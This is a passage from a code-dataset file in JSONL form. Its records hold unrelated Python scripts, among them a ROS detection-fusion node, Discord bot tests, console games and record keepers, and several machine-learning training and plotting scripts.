obj_detected_sf.objects[ind[0][0]].color = obj.color\n\n else:\n new_obj = obj\n obj_detected_sf.objects.append(new_obj)\n\n return obj_detected_sf\n\n def plotDetections(self, obj_dets):\n\n obj_list = []\n \n plt.clf()\n\n plt.xlim(-5, 5)\n plt.ylim(-5, 5)\n\n for obj in obj_dets.objects:\n color = obj.color[0] if obj.color != \"\" else \"b\"\n plt.scatter(obj.Y, obj.X, color = color)\n plt.pause(0.001)\n\n\n\n def callback_yolo_det(self,msg):\n\n self.obj_detected_yolo = msg\n\n obj_det_lidar = self.obj_detected_lidar\n obj_det_yolo =self.obj_detected_yolo\n\n if(bool(self.obj_trackId)):\n for obj in obj_det_lidar.objects:\n if(self.obj_trackId.has_key(obj.id)):\n obj.color = self.obj_trackId[obj.id].color\n\n obj_detected_sf = self.matchDetections(obj_det_lidar, obj_det_yolo)\n\n self.obj_trackId = self.objDetToDict(obj_detected_sf)\n\n obj_detected_sf.len = len(obj_detected_sf.objects)\n\n self.plotDetections(obj_detected_sf)\n\n self.detector_fusion_pub.publish(obj_detected_sf)\n\n\n def callback_lidar_det(self,msg):\n self.obj_detected_lidar = msg\n \n \n \n \n \nif __name__ == '__main__':\n try:\n rospy.init_node('detector_fusion')\n rate = rospy.Rate(5)\n DF = detection_fusion()\n rospy.spin()\n\n\n except rospy.ROSInterruptException:\n pass","sub_path":"usv_perception/scripts/detection_fusion.py","file_name":"detection_fusion.py","file_ext":"py","file_size_in_byte":3222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"308633204","text":"import discord.ext.test as dpytest\nimport pytest\n\nfrom stonkmaster.core.market import is_market_closed\nfrom tests.assertions import discord_message_matches, discord_message_equals\n\n\n@pytest.mark.asyncio\nasync def test_price_gme(bot):\n await dpytest.message(\"$price GME\")\n\n matching_regex = (\"The market price of \\\\*\\\\*GameStop Corp\\\\. \\\\(GME\\\\)\\\\*\\\\* is \\\\*\\\\*\\\\d+(\\\\.\\\\d{1,2})?\"\n \"\\\\$\\\\*\\\\* \\\\((\\\\+|\\\\-)\\\\d+\\\\.\\\\d{1,2}\\\\%\\\\).*\"\n )\n assert discord_message_matches(matching_regex)\n\n if is_market_closed():\n assert discord_message_equals(\"Market is currently **closed** :lock:\")\n else:\n assert discord_message_equals(\"Wennst ned woasd, wannst GME vakaffa wuisd, kosd de do orientiern: \" +\n \" :moneybag:\")\n assert discord_message_equals(\"Weitere Infos findst do: :bulb:\")\n\n\n@pytest.mark.asyncio\nasync def test_price_amc(bot):\n await dpytest.message(\"$price AMC\")\n\n matching_regex = (\"The market price of \\\\*\\\\*AMC Entertainment Holdings, Inc\\\\. \\\\(AMC\\\\)\\\\*\\\\* is \\\\*\\\\*\"\n \"\\\\d+(\\\\.\\\\d{1,2})?\\\\$\\\\*\\\\* \\\\((\\\\+|\\\\-)\\\\d+\\\\.\\\\d{1,2}\\\\%\\\\).*\"\n )\n assert discord_message_matches(matching_regex)\n\n if is_market_closed():\n assert discord_message_equals(\"Market is currently **closed** :lock:\")\n","sub_path":"tests/commands/test_price_command.py","file_name":"test_price_command.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"548533008","text":"import os\ndef cls():\n os.system(\"cls\" if os.name==\"nt\" else \"clear\")\nnom = input(\"Dime tu nombre: \")\np = \" Vazgen\"\nv = 100\nd = 0\ne = 0\nz = 5\nvocal = ('a' , 'e' , 'i' , 'o' , 'u' , 'A' , 'E' , 'I' , 'O' , 'U')\nnom_lower = nom[0].lower()\nnom_mayus = nom[len(nom)-1].upper()\nnom_medio = nom[1:-1]\nwhile True:\n\tprint(\"Hola\" , nom , \"tienes\" , v , \"puntos, que quieres hacer:\")\n\tprint(\"\"\"\n\t1)Vol saber la posició que està una lletra? (20 punts)\n\t2)Vol saber la longitut de la paraula? (20 punts)\n\t3)Se li pot dir quantes vegades apareix una lletra. QUina lletra vols saber? (20 punts)\n\t4)Vol saber primera lletra? (20 punts)\n\t5)Vol saber la última lletra? (20 punts)\n\t6)Se li pot mostrar només les consonants de les paraules (les vocals han d'aparèixer en *). Aquesta superpista. Sol es pot demanar si ja s'ha intentat entrar alguna paraula. (40 punts). \n\t7)Entrar paraula\n\t\t\t\t\"\"\")\n\ta = int(input(\"Que quieres hacer: \"))\n\tif a == 1:\n\t\tv = v-20\n\t\tb = input(\"Dime la letra: \")\n\t\tprint(p.find(b))\n\t\tinput(\"Borrar\")\n\t\tcls()\n\telif a == 2:\n\t\tv = v-20\n\t\tprint(len(p)-1)\n\t\tinput(\"Borrar\")\n\t\tcls()\n\telif a == 3:\n\t\tv = v-20\n\t\tc = input(\"Que letra: \")\n\t\tprint(p.count(c))\n\t\tinput(\"Borrar\")\n\t\tcls()\n\telif a == 4:\n\t\tv = v-20\n\t\tprint(p[1])\n\t\tinput(\"Borrar\")\n\t\tcls()\n\telif a == 5:\n\t\tv = v-20\n\t\tprint(p[len(p)-1])\n\t\tinput(\"Borrar\")\n\t\tcls()\n\telif a == 6 and d >= 1:\n\t\tp = p.replace(\"a\" , \"*\")\n\t\tp = p.replace(\"e\" , \"*\")\n\t\tp = p.replace(\"i\" , \"*\")\n\t\tp = p.replace(\"o\" , \"*\")\n\t\tp = p.replace(\"u\" , \"*\")\n\t\tp = p.replace(\"A\" , \"*\")\n\t\tp = p.replace(\"E\" , \"*\")\n\t\tp = p.replace(\"I\" , \"*\")\n\t\tp = p.replace(\"O\" , \"*\")\n\t\tp = p.replace(\"U\" , \"*\") \n\t\tprint(p)\n\t\tv = v - 30\n\t\tinput(\"Borrar\")\n\t\tcls()\n\telif a == 7:\n\t\ti = input(\"Pon la palabra: \")\n\t\tif \" \" + i == p:\n\t\t\tprint(\"Felicidades\" , nom_lower + nom_medio + nom_mayus , \"tienes: \" , v , \"puntos\")\n\t\t\tbreak\n\t\telif i != p and i == p[-3:] and e == 0:\n\t\t\te = e+1\n\t\t\tv = v+25\n\t\t\tz = z-1\n\t\t\tinput(\"Borrar\")\n\t\t\tcls()\n\t\telif i != p:\n\t\t\tprint(\"Mal\")\n\t\t\td = d+1\n\t\t\tv = v-15\n\t\t\tz = z-1\n\t\t\tinput(\"Borrar\")\n\t\t\tcls()\n\t\tif z == 0:\n\t\t\tbreak\n\t\t\tprint(\"Has perdido la palabra era:\" , p)","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"131912555","text":"import json\nimport os\nfrom mininet.topo import Topo\nimport subprocess\n\n\n\nclass Mapper(object):\n def __init__(self, topo, physical_network_file, mapper):\n self.topo = topo\n self.physical_network_file = physical_network_file\n self.mapper = mapper\n self.topo_file = self.create_topo_file(topo)\n self.mapping_json_path = self._run_python3_distriopt(virtual_topo_file=self.topo_file,\n physical_topo_file=physical_network_file,\n mapper=mapper)\n\n @staticmethod\n def check_valid_path(physical_network_file):\n pass\n\n def create_topo_file(self,topo):\n assert isinstance(topo, Topo), \"Invalid Network Format\"\n filename = os.tempnam()\n json_topo={\"nodes\": {}, \"links\": {}}\n for node in topo.nodes():\n attrs = {\"cores\": topo.nodeInfo(node).get(\"cores\", 1),\n \"memory\": topo.nodeInfo(node).get(\"memory\", 100)}\n json_topo[\"nodes\"][node] = attrs\n\n for (u, v, attrs) in topo.iterLinks(withInfo=True):\n rate = attrs[\"bw\"]\n edge_attrs = {\"rate\": rate}\n json_topo[\"links\"][\" \".join((u,v))]= edge_attrs\n\n with open(filename, \"w\") as f:\n json.dump(json_topo, f)\n\n return filename\n\n def create_mapping(self):\n with open(self.mapping_json_path, \"r\") as f:\n mapping = json.load(f)\n\n if \"Infeasible\" in mapping:\n print(\"MAPPING INFEASIBLE\")\n exit(1)\n elif \"mapping\" in mapping:\n mapping = mapping[\"mapping\"]\n return mapping\n else:\n raise ValueError(\"Returned value by the script not managed {}\".format(mapping))\n\n\n def _run_python3_distriopt(self,virtual_topo_file, physical_topo_file, mapper, python3_script=\"/root/MaxiNet/MaxiNet/Frontend/distriopt_runner.py\"):\n python3_command = \"python3 {} {} {} {}\".format(python3_script,virtual_topo_file,physical_topo_file,mapper) # launch python3 script using bash\n\n process = subprocess.Popen(python3_command.split(), stdout=subprocess.PIPE)\n output, error = process.communicate()\n #return the temporary path for the mapping\n return output\n\n","sub_path":"MaxiNet/Frontend/distriopt_.py","file_name":"distriopt_.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"529289344","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 21 11:08:03 2020\n\n@author: guido\n\"\"\"\n\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom brainbox.task.closed_loop import generate_pseudo_blocks\nfrom serotonin_functions import figure_style\n\nN_TRIALS = 400\n\nprob_left = generate_pseudo_blocks(N_TRIALS, first5050=0)\nstim_on = generate_pseudo_blocks(N_TRIALS, first5050=0)\nstim_on[stim_on == 0.2] = np.nan\nstim_on[stim_on == 0.8] = 0.85\n\nfigure_style()\nf, ax1 = plt.subplots(1, 1, figsize=(6, 5), dpi=150)\nax1.plot(np.arange(1, prob_left.shape[0] + 1), prob_left, color=[0.6, 0.6, 0.6], lw=2)\nax1.plot(np.arange(1, prob_left.shape[0] + 1), stim_on, 'b', lw=3)\nax1.set(xlabel='Trials', ylabel='Probability of left stimulus')\n\nsns.despine(trim=True)\nplt.tight_layout()","sub_path":"Behavior/plot_example_stim_session.py","file_name":"plot_example_stim_session.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"440645580","text":"import json\n\ndef configure_abi(abi_path):\n with open(abi_path) as abi_file:\n abi = json.loads(abi_file.read())\n return abi\n\ndef configure_bytecode(bin_path):\n with open(bin_path) as bin_file:\n content = json.loads(bin_file.read())\n bytecode = content['object']\n return bytecode\n","sub_path":"src/blockchain/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"114936155","text":"fileName = \"student.txt\"\r\n\r\ndef getLastStudentID():\r\n\tglobal fileName\r\n\ttry:\r\n\t\tfile = open(fileName,\"r\")\r\n\t\tlistOfLines = file.readlines()\r\n\t\tlastRecord = listOfLines[len(listOfLines)-1]\r\n\t\tstudentList = lastRecord.split(\",\")\r\n\t\treturn int(studentList[0])+1\r\n\texcept:\r\n\t\tfile = open(fileName,\"w\")\r\n\t\tfile.close()\r\n\t\treturn 1\r\n\r\ndef addStudentRecord():\r\n\tprint(\"***********************************************************\")\r\n\tglobal fileName\r\n\tfile = open(fileName,\"a\")\r\n\tid = getLastStudentID()\r\n\tname = input(\"Enter Student Name \\t: \")\r\n\temail = input(\"Enter Student Email \\t: \")\r\n\tphone = input(\"Enter Student Phone \\t: \")\r\n\tmphy = int(input(\"Enter Student Marks(Physics) \\t: \"))\r\n\tmchm = int(input(\"Enter Student Marks(Chemistry) \\t: \"))\r\n\tmmath = int(input(\"Enter Student Marks(Maths) \\t: \"))\r\n\tfile.write(str(id)+\",\"+name+\",\"+email+\",\"+phone+\",\"+str(mphy)+\",\"+str(mchm)+\",\"+str(mmath)+\"\\n\")\t\r\n\tfile.close()\r\n\tprint(\"\\n Record Saved\")\r\n\tprint(\"***********************************************************\")\r\ndef updateStudentRecord():\r\n\tglobal fileName\r\n\tfile = open(fileName,\"a\")\r\n\r\ndef removeStudentRecord():\r\n\tpass\r\n\r\ndef deleteStudentRecord():\r\n\tpass\r\n\r\ndef searchStudentRecord():\r\n\tpass\r\n\r\ndef displayStudentRecord():\r\n\tprint(\"ID\\tName\\tEmail\\tPhone\\tMarks(Phy/Chem/Math)\")\r\n\t\r\n\r\n\r\n\r\ndef main():\r\n\twhile True:\r\n\t\tprint(\"1. Add Student Record\")\r\n\t\tprint(\"2. Update Student Record\")\r\n\t\tprint(\"3. Remove Student Record\")\r\n\t\tprint(\"4. Delete all Student Record\")\r\n\t\tprint(\"5. Search Student\")\r\n\t\tprint(\"6. Display Student Records\")\r\n\t\tchoice = int(input(\"Enter Choice : \"))\r\n\r\n\t\tif choice == 1:\r\n\t\t\taddStudentRecord()\r\n\t\telif choice == 2:\r\n\t\t\tupdateStudentRecord()\r\n\t\telif choice == 3:\r\n\t\t\tremoveStudentRecord()\r\n\t\telif choice == 4:\r\n\t\t\tdeleteStudentRecord()\r\n\t\telif choice == 5:\r\n\t\t\tsearchStudentRecord()\r\n\t\telif choice == 6:\r\n\t\t\tdisplayStudentRecord()\r\n\t\telif choice == 0:\r\n\t\t\tprint(\"Bye Bye\")\r\n\t\t\tbreak\r\n\t\telse:\r\n\t\t\tprint(\"\\nInvalid Choice\\n\")\r\n\t\r\nif __name__ == \"__main__\":\r\n\tmain()","sub_path":"Python ClassRoom Notes/29june/temp1.py","file_name":"temp1.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"529294504","text":"import pygame as pg\r\nprint(pg.ver)\r\n\r\nif pg.font is None:\r\n print(\"The font Module is not available\")\r\n exit()\r\n \r\nbackgroung_image_filename = 'C:\\\\Users\\\\朱远宏\\\\Desktop\\\\python.png'\r\nmouse_image_filename ='C:\\\\Users\\\\朱远宏\\\\Desktop\\\\1.png'\r\n\r\nfrom sys import exit\r\n\r\npg.init()\r\nscreen = pg.display.set_mode((640,480),0,32)\r\npg.display.set_caption(\"Hello world!\")\r\nbackground = pg.image.load(backgroung_image_filename)\r\nmouse_cursor = pg.image.load(mouse_image_filename)\r\nwhile True:\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n pg.quit()\r\n exit()\r\n \r\n screen.blit(background,(0,0))\r\n \r\n x,y = pg.mouse.get_pos()\r\n x-= mouse_cursor.get_width() / 2\r\n y-= mouse_cursor.get_height() / 2\r\n screen.blit(mouse_cursor,(x,y))\r\n \r\n pg.display.update()","sub_path":"PythonGame/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"452391891","text":"#!/usr/bin/env python3\n\nPEOPLE_CSV = 'normalisation_output.csv'\nALLOCATION_CSV = 'allocation.csv'\n\nfrom people import People\nfrom requestlist import RequestList\nfrom bucketlist import BucketList\nfrom allocation import Allocation, conflict_list\nfrom allocationlist import AllocationList\n\npeople = People.from_csv(PEOPLE_CSV)\nprint(people.get_summary_text())\n\nallocation = Allocation.from_csv(ALLOCATION_CSV, people)\nprint(allocation.get_summary_text())\n\nallocation_list = AllocationList([allocation])\n\nwave = int(input(\"Wave (1, 2, 3, 4): \"))\npeople_in_wave = People(filter(lambda person: person.wave == wave, people))\nrequest_list = RequestList.from_people(people_in_wave)\nbucket_list = BucketList.from_request_list(request_list)\n\nallocation_list = allocation_list.add_bucket_list(bucket_list)\nallocation = allocation_list.flatten()\n\nprint(\"\\nDone.\\n\")\nprint(allocation.get_summary_text())\n\nif conflict_list:\n print(\"List of conflicted requests (in order):\")\n print(\"\\n\".join(map(str, conflict_list)))\nelse:\n print(\"There are no conflicts.\")\n\ncan_save = input(\"Save to %s [yN]: \" % ALLOCATION_CSV).lower() == 'y'\n\nif can_save:\n allocation.to_csv(ALLOCATION_CSV)\n print(\"Saved to %s.\" % ALLOCATION_CSV)\nelse:\n print(\"Will not save to %s.\" % ALLOCATION_CSV)\n","sub_path":"allocation/smart-allocation.py","file_name":"smart-allocation.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"282793066","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import *\r\nfrom sklearn.ensemble import BaggingRegressor\r\nfrom sklearn.tree import ExtraTreeRegressor\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n\r\ndata = np.load(\"./data/classification/training_data_classification.npy\")\r\nx = data[:, 0:-1]\r\ny = data[:, -1].reshape(-1, 1)\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.368, random_state=42)\r\n# x_train = np.load(\"./data/PCA16_5000.npy\")\r\n# y_train = np.load(\"./data/y_train_5000_bool.npy\")\r\n# x_test = np.load(\"./data/PCA16_val.npy\")\r\n# y_test = np.load(\"./data/y_val_bool.npy\")\r\n\r\n\r\ndef try_different_method(model):\r\n model.fit(x_train, y_train)\r\n print(model.class_prior_)\r\n # x_test = x_train\r\n # y_test = y_train\r\n # score = model.score(x_test, y_test)\r\n # result_train = model.predict(x_train)\r\n # result_test = model.predict(x_test)\r\n # mean_square_error_train = np.mean(np.square(result_train - y_train)) / 2\r\n # mean_square_error_test = np.mean(np.square(result_test - y_test)) / 2\r\n score_train = model.score(x_train, y_train)\r\n score_test = model.score(x_test, y_test)\r\n # print(mean_absolute_error)\r\n return score_train, score_test\r\n # plt.figure()\r\n # plt.plot(np.arange(len(result)), y_test, 'go-', label='true value')\r\n # plt.plot(np.arange(len(result)), result, 'ro-', label='predict value')\r\n # plt.title('score: %f' % score)\r\n # plt.legend()\r\n # plt.show()\r\n\r\n\r\n# Decision Tree\r\nmodel_DecisionTreeRegressor = tree.DecisionTreeRegressor()\r\n# linear regression\r\nmodel_LinearRegression = linear_model.LinearRegression()\r\n# SVR\r\nmodel_SVR = svm.SVR()\r\n# model_SVC = svm.LinearSVC()\r\n# KNN regression\r\nmodel_KNeighborsRegressor = neighbors.KNeighborsRegressor(weights='uniform')\r\n# random forest\r\nmodel_RandomForestRegressor = ensemble.RandomForestRegressor(n_estimators=200) # 这里使用20个决策树\r\n# Adaboost regression\r\n# model_AdaBoostRegressor = ensemble.AdaBoostRegressor(base_estimator=svm.SVR(),\r\n# n_estimators=2, learning_rate=1) # 这里使用50个决策树\r\nmodel_AdaBoostClassifier = ensemble.AdaBoostClassifier(base_estimator=svm.LinearSVC(),\r\n algorithm='SAMME', n_estimators=100)\r\n# GBRT regression\r\nmodel_GradientBoostingRegressor = ensemble.GradientBoostingRegressor(n_estimators=3) # 这里使用100个决策树\r\n# Bagging regression\r\nmodel_BaggingRegressor = BaggingRegressor(base_estimator=svm.SVR(),\r\n n_estimators=12,\r\n max_samples=1/5,\r\n max_features=1.0,\r\n bootstrap=True,\r\n bootstrap_features=False,\r\n random_state=42,\r\n verbose=10)\r\n# ExtraTree regression\r\nmodel_ExtraTreeRegressor = ExtraTreeRegressor()\r\n# GaussianNB\r\n# model_GaussionNB = GaussianNB()\r\n\r\n\r\nif __name__ == '__main__':\r\n # algorithm_collections = [model_DecisionTreeRegressor,\r\n # model_LinearRegression,\r\n # model_SVR,\r\n # model_KNeighborsRegressor,\r\n # model_RandomForestRegressor,\r\n # model_AdaBoostRegressor,\r\n # model_GradientBoostingRegressor,\r\n # model_BaggingRegressor,\r\n # model_ExtraTreeRegressor]\r\n\r\n algorithm_collections = [model_AdaBoostClassifier]\r\n\r\n maes = []\r\n\r\n for model in algorithm_collections:\r\n maes.append(try_different_method(model))\r\n x_test2 = np.load(\"./data/embeddings_test.npy\")\r\n y_predict = model.predict(x_test2)\r\n print(y_predict)\r\n # np.save(\"./data/predict/predict.txt\", y_predict)\r\n # np.savetxt(\"./data/predict/predict_label.txt\", y_predict)\r\n print(maes)\r\n","sub_path":"sk-regreesion.py","file_name":"sk-regreesion.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"261537199","text":"def loadData(fileSpec):\n txtReader = open(fileSpec, 'r')\n birthdays = {}\n for line in txtReader:\n birthdays[line.split(\",\")[0] +\", \" +line.split(\",\")[1]] = line.split(\",\")[2]\n\n return birthdays\n\n\ndef saveData(fileSpec, dictionary):\n txtWriter = open(fileSpec, \"w\")\n for people in dictionary:\n txtWriter.write(people.split(\", \")[0] +\",\" +people.split(\", \")[1] +\",\" +dictionary.get(people))\n\n\ndef addPerson(dictionary):\n print(\"\")\n fName = input(\"Enter first name: \")\n lName = input(\"Enter last name: \")\n bd = addBirthday()\n dictionary.update({lName +\", \" +fName: bd})\n return dictionary\n\n\ndef displayAll(dictionary):\n print(\"\")\n for people in sorted(dictionary.items()):\n print(people)\n\n print(\"\\nAll birthdays shown above\")\n\n\ndef addBirthday():\n print(\"Enter birthday in form of mm/dd/yyyy\")\n month = input(\"Enter month of birth: \")\n while len(month) != 2:\n print(\"Invalid length\")\n month = input(\"Enter month of birth: \")\n\n day = input(\"Enter day of birth: \")\n while len(day) != 2:\n print(\"Invalid length\")\n day = input(\"Enter day of birth: \")\n\n year = input(\"Enter year of birth: \")\n while len(year) != 4: #makes user re-enter year until it is 4 characters long\n print(\"Invalid length\")\n year = input(\"Enter year of birth: \")\n\n return month +\"/\" +day +\"/\" +year\n\n\ndef editPerson(lastName, firstName, dictionary):\n if dictionary.get(lastName +\", \" +firstName) == None: #returns dictionary uneditted if the person is not found\n print(\"That person was not found\")\n return dictionary\n\n dictionary[lastName +\", \" +firstName] = addBirthday()\n return dictionary\n\n\ndef delPerson(lastName, firstName, dictionary):\n if dictionary.get(lastName +\", \" +firstName) == None:\n print(\"That person does not exist\")\n return dictionary\n\n if input(\"Are you sure you want to delete \" +firstName +\" \" +lastName +\" (y/n): \") ==\"n\":\n return dictionary\n\n dictionary.pop(lastName +\", \" +firstName)\n\n return dictionary\n\n\ndef quit(dictionary):\n print(\"Good bye\")\n saveData(\"bDayData.txt\", dictionary)\n\n\ndef menu(birthdays):\n option = 0\n while option != 5:\n option = int(input(\"\\nOptions\\n1. Add Person\\n2. Display People\\n3. Edit Person\\n4. Delete Person\\n5. Quit\\nWhat would you like to do: \"))\n if option == 1:\n birthdays = addPerson(birthdays)\n elif option == 2:\n displayAll(birthdays)\n elif option == 3:\n birthdays = editPerson(input(\"Enter last name: \"), input(\"Enter first name: \"), birthdays)\n elif option == 4:\n birthdays = delPerson(input(\"Enter last name: \"), input(\"Enter first name: \"), birthdays)\n elif option == 5:\n quit(birthdays)\n\n\ndef main():\n print(\"Welcome to the birthday book!\")\n menu(loadData(\"bDayData.txt\"))\nmain()","sub_path":"dillBirthdayBook/dillBirthdayBook.py","file_name":"dillBirthdayBook.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"389053157","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# @Time : 2021/4/14 15:33\n# @Author : yangqiang\n# @File : seg_data.py\nimport shutil\nimport numpy as np\nfrom torch.utils.data import Dataset\nimport os\nimport cv2\n\n\nclass ClsDataset(Dataset):\n def __init__(self, images_dir, file, transform=None):\n self.images_dir = images_dir\n self.mapping_files = self.dict_from_file(file)\n self.transform = transform\n\n @staticmethod\n def dict_from_file(file):\n mapping = {}\n with open(file, 'r') as f:\n idx = 0\n for line in f:\n items = line.rstrip('\\n').split('.')\n assert len(items) == 3\n mapping[idx] = (line.strip(), int(items[0])-1)\n idx += 1\n return mapping\n\n def __len__(self):\n return len(self.mapping_files)\n\n def __getitem__(self, idx):\n filename, label = self.mapping_files[idx]\n\n image = cv2.imread(os.path.join(self.images_dir, filename))\n assert len(image.shape) == 3, f\"{filename} is not 3 channels picture\"\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\n if self.transform:\n image = self.transform(image=image)['image']\n image = image.transpose(2, 0, 1) # c, h, w\n\n return image, label\n\n\nif __name__ == '__main__':\n def test():\n from torch.utils.data import DataLoader\n import albumentations as A\n\n aug_trans = A.Compose([\n A.Resize(height=260, width=260, p=1),\n A.Normalize(p=1, mean=[0.4914, 0.4824, 0.4467], std=[0.2471, 0.2435, 0.2616]),\n ])\n\n dataset = ClsDataset(\"/Users/yang/bak/PycharmProjects/pytorch-classification/data/256_ObjectCategories\",\n \"/Users/yang/bak/PycharmProjects/pytorch-classification/data/train.txt\",\n transform=aug_trans)\n print(\"len:\", len(dataset))\n dataloader = DataLoader(dataset, batch_size=1)\n for image, label in dataloader:\n print(image.shape, label)\n test()\n","sub_path":"dataloader/cls_data.py","file_name":"cls_data.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"411169818","text":"import logging\r\nimport ipaddress\r\nimport sys\r\n\r\nif sys.argv[0].find('client') == -1:\r\n LOGGER = logging.getLogger('server')\r\nelse:\r\n LOGGER = logging.getLogger('client')\r\n\r\n\r\nclass Port:\r\n \"\"\"\r\n Класс - дескриптор для номера порта.\r\n Позволяет использовать только порты с 1023 по 65536.\r\n При попытке установить неподходящий номер порта генерирует исключение.\r\n \"\"\"\r\n def __set__(self, instance, value):\r\n if value < 1024 or value > 65535:\r\n LOGGER.critical(\r\n f'Запуск сервера с параметром порта {value}.'\r\n f'В качестве порта может быть указано только число в диапазоне от 1024 до 65535.')\r\n sys.exit(1)\r\n instance.__dict__[self.name] = value\r\n\r\n def __set_name__(self, owner, name):\r\n self.name = name\r\n\r\n\r\nclass Address:\r\n \"\"\"\r\n Класс - дескриптор для ip-адреса.\r\n Проверяет адрес на корректность.\r\n При попытке ввода невалидного ip-адреса генерирует исключение.\r\n \"\"\"\r\n def __set__(self, instance, value):\r\n if value:\r\n try:\r\n ipv4 = ipaddress.ip_address(value)\r\n except ValueError as e:\r\n LOGGER.critical(f'Некорректно указан ip адрес {value}.')\r\n sys.exit(1)\r\n instance.__dict__[self.name] = value\r\n\r\n def __set_name__(self, owner, name):\r\n self.name = name\r\n","sub_path":"client/client/common/descriptors.py","file_name":"descriptors.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"348665075","text":"import time\nimport torch\nimport utils\nimport argparse\nimport collections\nimport torchvision\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom utils import *\nfrom tqdm import tqdm, trange\nfrom collections import defaultdict\nfrom torch.autograd import Variable\nfrom torch.optim import lr_scheduler\n\n\ndef build_model():\n vgg11_bn = get_vgg11_bn()\n if gpu:\n vgg11_bn = vgg11_bn.cuda()\n return vgg11_bn\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--batch_size', type = int, default = 128)\n parser.add_argument('--lr', type = float, default = 0.001)\n parser.add_argument('--epoch', type = int, default = 200)\n parser.add_argument('--interval', type = int, default = 5)\n parser.add_argument('--threshold', type = float, default = 0.35)\n\n args = parser.parse_args()\n batch_size = int(args.batch_size)\n epochs = int(args.epoch)\n learning_rate = float(args.lr)\n interval = int(args.interval)\n threshold = float(args.threshold)\n\n transform = transforms.Compose([\n transforms.RandomHorizontalFlip(),\n transforms.RandomVerticalFlip(),\n transforms.ToTensor()\n ])\n\n test_transform = transforms.Compose([\n transforms.ToTensor()\n ])\n dataloader, dataset_size = make_dataloader(\"data/train\", \n \"data/train_map.txt\",\n transform,\n batch_size)\n\n\n test_dataloader, _ = make_dataloader(\"data/test\",\n \"data/test_map.txt\",\n test_transform,\n batch_size)\n\n make_dir(\"./models\")\n make_dir(\"./data/Pseudo_maps\")\n\n gpu = torch.cuda.is_available()\n\n # get vgg11_bn model\n model = build_model()\n \n # Observe that all parameters are being optimized\n optimizer = optim.Adam(model.parameters(), lr= learning_rate)\n\n # patience 5 ReduceLROnPlateau\n scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, \n factor = 0.1, \n patience = 5,\n threshold = 0.0001)\n # Loss function \n criterion = nn.CrossEntropyLoss()\n\n # original model training\n if os.path.isfile(\"models/vgg11_bn.pth\"):\n \n print(\"\\nYou already have a pretrained model.\\n\")\n print(\"\\nLoading Optimizer...\\n\")\n\n model.load_state_dict(torch.load('models/vgg11_bn.pth'))\n optimizer.load_state_dict(torch.load('models/optim.pth'))\n optimizer.state = defaultdict(dict, optimizer.state)\n else:\n model = train_model(model, criterion, \n optimizer, dataloader, \n scheduler, \"vgg11_bn\",\n gpu, dataset_size,\n num_epochs = epochs)\n # save optimizer\n torch.save(optimizer.state_dict(),\n './models/optim.pth')\n \n # make pseudo images\n print(\"\\nMaking Pseudo data...\\n\")\n make_pseudo(model, \n 'data/train_map.txt', \n test_dataloader, \n gpu,\n interval, \n threshold)\n\n \n\n # train original model 100 epochs more\n if os.path.isfile('models/optim.pth'):\n optimizer.load_state_dict(torch.load('models/optim.pth'))\n optimizer.state = defaultdict(dict, optimizer.state)\n\n model = train_model(model, criterion, \n optimizer, dataloader, \n scheduler, \"vgg11_bn_300ep\",\n gpu, dataset_size, \n num_epochs = 100) \n\n # make pseudo trained models\n print(\"Training Pseudo Models =============\")\n\n bar = int(threshold * 100)\n\n while bar < 100:\n \n model = build_model()\n model.load_state_dict(torch.load('models/vgg11_bn.pth'))\n \n # Observe that all parameters are being optimized\n optimizer = optim.Adam(model.parameters(), lr= learning_rate)\n optimizer.load_state_dict(torch.load('models/optim.pth'))\n optimizer.state = defaultdict(dict, optimizer.state)\n\n # patience 5 ReduceLROnPlateau\n scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, \n factor = 0.1, \n patience = 5,\n threshold = 0.0001)\n\n dataloader, dataset_size = make_dataloader(\"data/train\", \n \"data/Pseudo_maps/train_map_thr_{}.txt\".format(bar),\n transform,\n batch_size)\n\n model = train_model(model, criterion, optimizer, \n dataloader, scheduler, \n 